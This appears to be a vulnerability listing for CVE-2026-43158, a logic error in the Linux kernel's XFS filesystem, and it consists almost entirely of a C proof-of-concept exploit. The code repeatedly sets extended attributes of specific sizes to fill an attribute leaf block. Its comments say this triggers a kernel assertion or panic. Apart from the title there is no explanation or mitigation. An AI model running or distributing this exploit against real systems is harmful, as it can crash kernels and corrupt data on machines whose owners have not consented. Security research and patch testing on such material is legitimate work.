CVE-2026-43158 Linux内核XFS文件系统逻辑错误漏洞

#include <stdio.h> #include <stdlib.h> #include <sys/xattr.h> #include <string.h> // PoC for CVE-2026-43158 // Triggers the assertion in xfs_attr3_leaf_add_work // by setting xattrs with specific sizes (namelen=3, valuelen=71). int main() { const char *filename = "testfile_xfs_poc"; FILE *fp = fopen(filename, "w"); if (!fp) { perror("fopen failed"); return 1; } fclose(fp); char name_template[4] = "aaa"; // namelen=3 char value[72]; // valuelen=71 memset(value, 'A', 71); value[71] = '\0'; printf("Starting PoC for CVE-2026-43158...\n"); // Loop to fill the leaf block and trigger the corruption for (int i = 0; i < 10000; i++) { // Create unique attribute names to force allocation char attr_name[32]; snprintf(attr_name, sizeof(attr_name), "user.%s%d", name_template, i); if (setxattr(filename, attr_name, value, 71, 0) != 0) { // Expected to fail eventually when block is full or crash occurs // perror("setxattr"); } } printf("Exploit attempt finished. Check system logs for kernel panic or assertion failure.\n"); remove(filename); return 0; }